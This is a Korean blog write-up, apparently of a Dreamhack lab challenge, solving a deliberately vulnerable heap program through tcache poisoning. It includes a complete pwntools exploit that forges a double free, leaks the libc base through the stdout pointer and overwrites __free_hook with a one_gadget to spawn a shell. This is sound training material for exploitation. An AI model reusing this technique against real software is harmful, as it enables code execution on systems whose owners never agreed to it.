Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: Tcache Poisoning

seobangwool 2026. 4. 15. 10:58

실습 환경

FROM ubuntu:18.04

ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8

RUN apt update
RUN apt install -y \
    gcc \
    git \
    python3 \
    python3-pip \
    ruby \
    sudo \
    tmux \
    vim \
    wget

# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh

# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools

# install one_gadget command
RUN gem install one_gadget -v 1.6.2

WORKDIR /root
COPY . /root
$ IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash

 

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}
pwndbg> checksec
[*] '/root/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

코드 분석

우선 코드를 살펴보면 free(chunk);free에 해당하는 case 2가 존재한다.

또한 나머지 1 3 4 case에서 동적할당, 텍스트 편집, printf 등 여러 기능이 존재하니, if (__glibc_unlikely (e->key == tcache)) 만 만족하도록 조작해준다면 double free 가 일어날 것으로 보인다.

그러니 일단 DFB를 만들고, 그 이후에 ROP 체인을 만들든 원가젯을 쓰든지 해서 플래그를 얻어내는 식으로 풀 수 있을 거 같다. 얼추 방향을 잡았으니 동적 분석으로 답을 찾아나가보자.

 

동적 분석

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400737 <+0>:     push   rbp
   0x0000000000400738 <+1>:     mov    rbp,rsp
   0x000000000040073b <+4>:     sub    rsp,0x20
   0x000000000040073f <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400748 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040074c <+21>:    xor    eax,eax
   0x000000000040074e <+23>:    mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400756 <+31>:    mov    rax,QWORD PTR [rip+0x2008c3]        # 0x601020 <stdin@@GLIBC_2.2.5>
   0x000000000040075d <+38>:    mov    ecx,0x0
   0x0000000000400762 <+43>:    mov    edx,0x2
   0x0000000000400767 <+48>:    mov    esi,0x0
   0x000000000040076c <+53>:    mov    rdi,rax
   0x000000000040076f <+56>:    call   0x400630 <setvbuf@plt>
   0x0000000000400774 <+61>:    mov    rax,QWORD PTR [rip+0x200895]        # 0x601010 <stdout@@GLIBC_2.2.5>
   0x000000000040077b <+68>:    mov    ecx,0x0
   0x0000000000400780 <+73>:    mov    edx,0x2
   0x0000000000400785 <+78>:    mov    esi,0x0
   0x000000000040078a <+83>:    mov    rdi,rax
   0x000000000040078d <+86>:    call   0x400630 <setvbuf@plt>
   0x0000000000400792 <+91>:    lea    rdi,[rip+0x1bb]        # 0x400954
   0x0000000000400799 <+98>:    call   0x4005f0 <puts@plt>
   0x000000000040079e <+103>:   lea    rdi,[rip+0x1bb]        # 0x400960
   0x00000000004007a5 <+110>:   call   0x4005f0 <puts@plt>
   0x00000000004007aa <+115>:   lea    rdi,[rip+0x1b7]        # 0x400968
   0x00000000004007b1 <+122>:   call   0x4005f0 <puts@plt>
   0x00000000004007b6 <+127>:   lea    rdi,[rip+0x1b4]        # 0x400971
   0x00000000004007bd <+134>:   call   0x4005f0 <puts@plt>
   0x00000000004007c2 <+139>:   lea    rax,[rbp-0x14]
   0x00000000004007c6 <+143>:   mov    rsi,rax
   0x00000000004007c9 <+146>:   lea    rdi,[rip+0x1a9]        # 0x400979
   0x00000000004007d0 <+153>:   mov    eax,0x0
   0x00000000004007d5 <+158>:   call   0x400640 <__isoc99_scanf@plt>
   0x00000000004007da <+163>:   mov    eax,DWORD PTR [rbp-0x14]
   0x00000000004007dd <+166>:   cmp    eax,0x2
   0x00000000004007e0 <+169>:   je     0x400872 <main+315>
   0x00000000004007e6 <+175>:   cmp    eax,0x2
   0x00000000004007e9 <+178>:   jg     0x4007f5 <main+190>
   0x00000000004007eb <+180>:   cmp    eax,0x1
   0x00000000004007ee <+183>:   je     0x40080c <main+213>
   0x00000000004007f0 <+185>:   jmp    0x4008c5 <main+398>
   0x00000000004007f5 <+190>:   cmp    eax,0x3
   0x00000000004007f8 <+193>:   je     0x400880 <main+329>
   0x00000000004007fe <+199>:   cmp    eax,0x4
   0x0000000000400801 <+202>:   je     0x40089a <main+355>
   0x0000000000400807 <+208>:   jmp    0x4008c5 <main+398>
   0x000000000040080c <+213>:   lea    rdi,[rip+0x169]        # 0x40097c
   0x0000000000400813 <+220>:   mov    eax,0x0
   0x0000000000400818 <+225>:   call   0x400600 <printf@plt>
   0x000000000040081d <+230>:   lea    rax,[rbp-0x18]
   0x0000000000400821 <+234>:   mov    rsi,rax
   0x0000000000400824 <+237>:   lea    rdi,[rip+0x14e]        # 0x400979
   0x000000000040082b <+244>:   mov    eax,0x0
   0x0000000000400830 <+249>:   call   0x400640 <__isoc99_scanf@plt>
   0x0000000000400835 <+254>:   mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400838 <+257>:   mov    eax,eax
   0x000000000040083a <+259>:   mov    rdi,rax
   0x000000000040083d <+262>:   call   0x400620 <malloc@plt>
   0x0000000000400842 <+267>:   mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400846 <+271>:   lea    rdi,[rip+0x136]        # 0x400983
   0x000000000040084d <+278>:   mov    eax,0x0
   0x0000000000400852 <+283>:   call   0x400600 <printf@plt>
   0x0000000000400857 <+288>:   mov    eax,DWORD PTR [rbp-0x18]
   0x000000000040085a <+291>:   sub    eax,0x1
   0x000000000040085d <+294>:   mov    edx,eax
   0x000000000040085f <+296>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400863 <+300>:   mov    rsi,rax
   0x0000000000400866 <+303>:   mov    edi,0x0
   0x000000000040086b <+308>:   call   0x400610 <read@plt>
   0x0000000000400870 <+313>:   jmp    0x4008c5 <main+398>
   0x0000000000400872 <+315>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400876 <+319>:   mov    rdi,rax
   0x0000000000400879 <+322>:   call   0x4005e0 <free@plt>
   0x000000000040087e <+327>:   jmp    0x4008c5 <main+398>
   0x0000000000400880 <+329>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400884 <+333>:   mov    rsi,rax
   0x0000000000400887 <+336>:   lea    rdi,[rip+0xff]        # 0x40098d
   0x000000000040088e <+343>:   mov    eax,0x0
   0x0000000000400893 <+348>:   call   0x400600 <printf@plt>
   0x0000000000400898 <+353>:   jmp    0x4008c5 <main+398>
   0x000000000040089a <+355>:   lea    rdi,[rip+0xf8]        # 0x400999
   0x00000000004008a1 <+362>:   mov    eax,0x0
   0x00000000004008a6 <+367>:   call   0x400600 <printf@plt>
   0x00000000004008ab <+372>:   mov    eax,DWORD PTR [rbp-0x18]
   0x00000000004008ae <+375>:   sub    eax,0x1
   0x00000000004008b1 <+378>:   mov    edx,eax
   0x00000000004008b3 <+380>:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004008b7 <+384>:   mov    rsi,rax
   0x00000000004008ba <+387>:   mov    edi,0x0
   0x00000000004008bf <+392>:   call   0x400610 <read@plt>
   0x00000000004008c4 <+397>:   nop
   0x00000000004008c5 <+398>:   jmp    0x400792 <main+91>

일단은 메모리를 할당해주고 e->key == tcache 같은 조건을 상세하게 확인해보면서 어딜 건드릴지 판단해보겠다.

그럴려면 case 1에 들어가서 메모리 할당 이후를 봐야하니
main+262에 브레이크를 걸고 malloc 전후 변화를 살펴본다.

 

image (7)

free에 브레이크 걸고 구조파악을 해준다.

 

image (6)

allocated 일때를 확인하고,

 

image (5)

free 상태일 때 까지 ni 로 넘어가주면서,
tcache 들어갔으면 $e 걸어주고 key 확인해준다.

결과를 보니 modify로 \x00로 key를 덮어버리면 key 값이 조작 가능하다는 것을 알았다.

이제 libc base 주소를 알아낸 뒤 _free_hook 을 조작해서 free 호출 시 빈쉘이 실행되게 만들어보자.
정리하자면 hook overwrite + libc leak + tcache poisoning 으로 정리가 된다.

 

일단 여기까지 익스플로잇 코드를 작성해보자.

익스플로잇 코드 (중간)

from pwn import *

p = process('./tcache_poison', env={"LD_PRELOAD":"./libc-2.27.so"})
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')



def alloc(size, content):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Content: ', content)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print3():
    p.sendlineafter(b'Edit\n', b'3')

def edit(content):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b'chunk: ', content)



alloc(48, b'AAAA')
free()
edit(b'A'*8 + b'\x00')
free()

p.interactive()

이렇게 double free bug 를 일으킬 수 있다.

libc leak 은 위 c 코드에 'setvbuf(stdout, 0, 2, 0);` 에서 나오는 취약점을 이용한다.
자세한 설명은 아래에 해두겠다.

 

setvbuf 함수를 실행할 때 stdin 과 stout 을 인자로 넘긴 것을 볼 수 있다.
근데 stdin과 stdout 은 <stdio.h> 헤더 파일에 FILE * 타입의 전역변수로 선언되어 있다.
이런 전역 변수들은 동적 심볼로, 실행 시점에 libc 내부의 (실습에서는 libc-2.27.so) 내부의 _IO_2_1_stdin_, _IO_2_1_stdout_ 객체와 연결된다.
그말은 곧 프로그램 코드가 전역 변수에 접근하듯이 stdin과 stdout 을 사용하지만, 실제로는 glibc 내부 FILE 구조체를 가리키면서 입출력을 수행한다.

여기서 하나 생각해볼 수 있는 건 setvbuf(stdout, 0, 2, 0); 과 같이 실행파일에서 명시적으로 호출하게 되는 지금과 같은 경우이다.
이 경우엔 공격자가 stdout 을 사용하는 코드를 분석해보면, stdout은 당연히 _IO_2_1_stdout_ 를 가르킬 것이고, 이 주소가 유출될 수 있다면? libc 의 베이스 주소를 역산할 수 있다.

아래에서 바로 분석 후 활용해보자.

 

imageimageimage

root@ad8b9a7fd378:~# readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep _IO_2_1_stdout_
   836: 00000000003ec760   224 OBJECT  GLOBAL DEFAULT   34 _IO_2_1_stdout_@@GLIBC_2.2.5

자 위에서 몇 가지 정보들을 알아왔다.

0x601010stdout의 포인터 값이고,

0x601010을 조사해보면 얘는 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dce760 으로,
libc에 있는 stdout 을 가르키고 있다는 걸 알 수 있다.

그리고 00000000003ec760 은 오프셋 주소로 libc base + 0x3ec760을 하면 stdout 주소 가 되는 것 까지 알아냈다.

그러면 이제 libc를 어떻게 유출할지 정확히 방향을 잡을 수 있다.

더블 free bug 로 fd를 stdout의 포인터 주소에 조작해둔 뒤, stdout의 포인터 주소인 0x601010으로 보내버린다. 그러면 tcache는 다음 청크로 저 주소를 주게 될 거고?
거기서 한번더 호출을 해주고 주소를 읽으면 stdout의 주소가 leak 될 것이다.

바로 코드를 작성해보자.

 

익스플로잇 코드 (libc leak)

from pwn import *

p = process('./tcache_poison', env={"LD_PRELOAD":"./libc-2.27.so"})
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size, content):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Content: ', content)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print3():
    p.sendlineafter(b'Edit\n', b'3')

def edit(content):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b'chunk: ', content)

alloc(48, b'AAAA')
free()
edit(b'A'*8 + b'\x00')
free()

addr_stdout_pointer = e.symbols['stdout']
print('stdout pointer addr : ', hex(addr_stdout_pointer))

alloc(48, p64(addr_stdout_pointer))
alloc(48, b'BBBB')

_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(0x30, _io_2_1_stdout_lsb)

print3()

p.recvuntil(b'Content: ')
leak_stdout = u64(p.recv(6).ljust(8, b'\x00'))

print('leak_stdout addr : ', hex(leak_stdout))

libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
print('libc base : ',hex(libc_base))

p.interactive()

image (8)

여기까진 성공이다.

이제 __free_hook overwriting 을 해주자.

__free_hook overwriting이란 free() 함수가 호출될 때 원래 free() 함수 대신 내가 지정한 함수로 가게금 만드는 것이다. 여기서 내가 지정한 함수는 원가젯에서 /bin/sh 을 실행하는 함수이다.

아까 처음에 했던 것 처럼, 더블 프리버그를 일으키고 __free_hook 주소를 fd 에 넣어둔다.
그러고 __free_hook 얘를 부른 다음에 원가젯을 적어 넣으면 free()를 트리거로 원가젯이 실행되어 쉘이 터질거다.

이제 원가젯부터 차근차근 찾아보자.

 

image

이렇게 원가젯 후보들을 쭉 나열해봤다.
free hook offset 도 같이 띄워두긴 했지만 이건 나중에 제대로 써먹어보자.

 

image

대충 아무곳이나 브레이크를 걸고 (난 main+322 에 걸어둠)
__free_hook 의 주소를 받아보자.

0x7ffff7dcf8e8 이 나왔다.

이제 여기를 x/gx 해주면, 뭐 아무 값도 없다.
우린 저 자리에 원가젯을 넣을 거다.

아무튼 브레이크를 걸고 쭉 실행을 시켜보면,

 

image

어딘가 걸리면서 세그먼트 폴트가 될 거다.

아무 값도 없는데 브레이크를 걸었으니 당연한 거고, 우린 저 원가젯 조건을 만족하는게 뭔지만 찾으면 되니 값들을 쳐보면?

rsp+0x40 가 조건을 만족한다는 것을 알았다.
원가젯 = libc_base + 0x4f432 로 마저 코드를 짜주자.

 

익스플로잇 코드 (최종)

from pwn import *

p = process('./tcache_poison', env={"LD_PRELOAD":"./libc-2.27.so"})
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size, content):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Content: ', content)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print3():
    p.sendlineafter(b'Edit\n', b'3')

def edit(content):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b'chunk: ', content)

alloc(48, b'AAAA')
free()
edit(b'A'*8 + b'\x00')
free()

addr_stdout_pointer = e.symbols['stdout']
print('stdout pointer addr : ', hex(addr_stdout_pointer))

alloc(48, p64(addr_stdout_pointer))
alloc(48, b'BBBB')

_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(48, _io_2_1_stdout_lsb)

print3()

p.recvuntil(b'Content: ')
leak_stdout = u64(p.recv(6).ljust(8, b'\x00'))

print('leak_stdout addr : ', hex(leak_stdout))

libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
print('libc base : ',hex(libc_base))

offset_IO_2_1_stdout = libc.symbols['_IO_2_1_stdout_']

free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f432

alloc(64, b'AAAA')
free()

edit(b'A'*8 + b'\x00')
free()

alloc(64, p64(free_hook))
alloc(64, b'A'*8)
alloc(64, p64(one_gadget))
free()

p.interactive()

이제 이걸 날려보면

 

image

플래그가 잘 나온다.

서버에도 날려보면?

 

image

역시 잘 나온다.

이때까지 푼 문제들 중에서 젤 난이도가 높았던 문제였다.
시간도 많이 걸렸고, 중요한 내용들이니 기억해두자.